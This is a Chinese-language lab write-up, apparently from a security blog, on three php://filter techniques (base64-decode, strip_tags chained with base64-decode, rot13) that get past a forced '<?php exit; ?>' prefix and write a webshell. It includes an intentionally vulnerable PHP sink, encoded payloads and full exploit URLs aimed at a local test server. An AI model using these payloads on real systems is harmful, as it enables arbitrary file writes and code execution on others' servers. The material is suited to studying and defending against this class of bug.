获取中...

-

Just a minute...

前言以及环境介绍

本文是对p神文章
谈一谈php://filter的妙用 | 离别歌知识点的学习

本文主要介绍使用filter伪协议进行死亡绕过的三种方式

测试环境:小皮面板
测试代码:exit.php

1
2
3
4
5
<?php  
highlight_file(__FILE__);
$content = '<?php exit; ?>';
$content .= $_GET['txt'];
file_put_contents($_GET['filename'], $content);

痛点分析:再这一段代码之中由于我呢见开头固定有<?php exit; ?> 会导致我们不管传入什么后续PHP代码都无法执行

方式一:base64_decode绕过

我们知道base64-decode这个过滤器是会舍弃不属于base64字符的内容的

1
2
3
4
$decoded = base64_decode($raw);
// 等价于:
$clean = preg_replace('|[^a-z0-9A-Z+/=]|', '', $raw);
$decoded = base64_decode($clean);

可以观察到'<?php exit; ?>'这一段内容之中只有p h p e x i t是base64合法字符 其他符号都会被忽略
那么我们就可以想到先将我们的webshell进行一次base64编码 然后再再传入payload之中使用一次base64-decode就可以成功破坏exit

添加a的原因

base64解码是按4个字符一组的 但是我们上一步中发现 “只有p h p e x i t是base64合法字符”(这里只有七个字符)所以我们要添加一个凑数的字符
这样一来解码器就会先处理phpexita解码之后残生六个字节的二进制数据(无意义的乱码)不会影响后续解码

演示

原始webshell:<?php phpinfo(); ?>
base64编码并拼接对齐字符: aPD9waHAgcGhwaW5mbygpOyA/Pg==

将这个字符串作为txt参数传入 此时写入文件的原始内容是

1
<?php exit; ?>aPD9waHAgcGhwaW5mbygpOyA/Pg==

使用filter伪协议将其写入

1
2
3
http://localhost/exit.php?filename=php://filter/write=convert.base64-decode/resource=D:/phpstudy_pro/WWW/uploads/shell.php&txt=aPD9waHAgcGhwaW5mbygpOyA/Pg%3D%3D

注意此处将等号写为%3D%3D防止报错

此时webshell以及被成功写入 访问

1
http://localhost/uploads/shell_phpinfo.php

成功看到版本信息

方法二:strip_tags + base64-decode 组合绕过

strip_tags

string.strip_tags过滤器的作用是第哦啊用PHP之中strip_tags()函数 它会删除字符串之中所有HTML XML PHP标签

那么我们就可以使用这个过滤器来删除<?php exit; ?> 但是我们也要考虑到我们自己的webshell也是 <?php ... ?>形式 直接使用这个过滤器那我们的webshell也被删除了呀

构造方法

我们只需要将自己的webshell先进行Base64编码 这样一来再strip_tags阶段我们的webshell不会包含任何 < 或 > 字符 这样一来就会被保留下来 之后再将其decode就行了

1
filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=uploads/shell.php

以上的过滤器链就可以实现

演示

我们来到我们的exit.php页面
访问

1
http://localhost/exit.php?filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=D:/phpstudy_pro/WWW/uploads/shell2.php&txt=PD9waHAgcGhwaW5mbygpOyA/Pg%3D%3D

没反应是正常的 此时webshell已经被写入uploads
访问

1
http://localhost/uploads/shell2.php

成功获取phpinfo信息

方法三:string.rot13 过滤器绕过

string.rot13 过滤器

这是一个偏移密码过滤器
会将数据应用str_rot13()函数 将每个字母移动13个位置 数字和非字母字符不变

那么<?php exit; ?> 经过 rot13 编码后会变成 <?cuc rkvg; ?>

利用条件

在PHP配置之中有一个选项short_open_tag 当它被设置为Off的时候 PHP只识别完整的<?php标签 这样一来我们上一步将<?php exit; ?>变成<?cuc rkvg; ?>它就无法识别了

构造核心

我们先将我们的webshell提前进行一次rot13编码 这样经过过滤器解码之后就是正常PHP代码
<?php phpinfo(); ?>变成<?cuc cucvasb(); ?>
诸如这样

1
filename=php://filter/write=string.rot13/resource=uploads/shell3.php

演示

依旧还是那个exit.php
URL之中访问

1
http://localhost/exit.php?filename=php://filter/write=string.rot13/resource=D:/phpstudy_pro/WWW/uploads/shell3.php&txt=<?cuc cucvasb(); ?>

非字母的字符不需要编码
之后访问 http://localhost/uploads/shell3.php即可看到phpinfo信息

以上就是死亡绕过的三种方法

相关文章
评论
分享
  • 社会工程学——cupp获取windows密码

    这其实本质是一个社会工程学问题至于为什么 在文章的最后想必大家也能理解假设现在有一个人短时间离开电脑之后并未锁屏 那么旁人就可以通过U盘拷贝重要密码文件的方式获取他的密码 密码文件获取windows并不会直接存储你的明文密码 它存的是...

    社会工程学——cupp获取windows密码
  • URLDNS链入门

    在一些测试环境之中 目标是否发生反序列化是无回显的 是否有一种办法能够测试目标是否能够发生反序列化呢?有的兄弟有的如果我们能让目标服务器通过反序列化发起一次DNS解析请求 那么在接收到请求的时候不就知道了吗那么这就是我们需要学习的UR...

    URLDNS链入门
  • 无痛入门java反序列化

    在学习URLDNS链以及之后的cc链之前 我们得先掌握java反序列化的基础知识 序列化和反序列化序列化把一个java对象转换成字节序列以便存储或者通过网络传输反序列化把字节序列还原成java对象 12序列化:对象->字符串反...

    无痛入门java反序列化
  • 用租房视角学习动态代理

    关于这一部分的知识点 我们先从静态代理说起 静态代理什么是代理? 代理就是:不操作目标对象而是通过一个中间人(代理)来间接操作最常见的现实例子就是租房问题:你要租房子 不需要直接找到房东 而是通过租房中介 中介帮你去和房东沟通 那么...

    用租房视角学习动态代理
  • 动态加载字节码

    动态加载字节码是一种让JVM可以接收由程序在运行时动态产生的字节数组并将其装在的能力 本义是让程序变得更加灵活 但是也产生了一定的安全问题 核心方法在java.lang.ClassLoader类中有一个方法 1protected fi...

    动态加载字节码
  • 类加载机制漫谈

    解释java字节码为什么需要编译成class文件我们首先要理解JVMjava是是一种混合型语言有编译的步骤也有解释步骤我们编写的java文件需要被编译成class文件之后才能被JVM运行 什么是class文件传统编译型语言(C C++...

    类加载机制漫谈
  • 反射随笔

    反射概念在java之中 万物都是对象 包括“类本身也是一个对象”(属于java.lang.Class类的对象) 反射的本质就是在程序运行期间 通过操控这个Class对象 反向解析和操控它所代表的哪个类里面的内容(构造器,属性,方法) ...

    反射随笔
  • LangChain反序列化

    最近在打SCTF的时候遇到一个LangChain反序列化的题目 比较新颖 于是想着学习一下 LangChain介绍LangChain是一个用于构建大语言模型应用的开源框架 通过这个可以把常用的组件抽象成可串联的链(Chain)举个例...

    LangChain反序列化
  • filter-chain漏洞演示

    这个漏洞链被称为CNEXT 由安全员Charles Fol披露 核心思想是利用系统内置的看似无害的模块(流过滤器)的巧妙组合 在受限的web环境之中执行命令 原理讲解filter协议对于filter伪协议 我们肯定都不陌生这个伪协议允...

    filter-chain漏洞演示
  • Phar反序列化漏洞演示

    前言我们在之前学习的反序列化漏洞 无一不是利用了unserialize()这个函数 但是我们没有去考虑 假设此时的题目并没有给我们这个函数 我们还能否实现反序列化呢 其实是可以的 在2018年的BlackHat 大会上 Sam Tho...

    Phar反序列化漏洞演示
Please check the parameter of comment in config.yml of hexo-theme-Annie!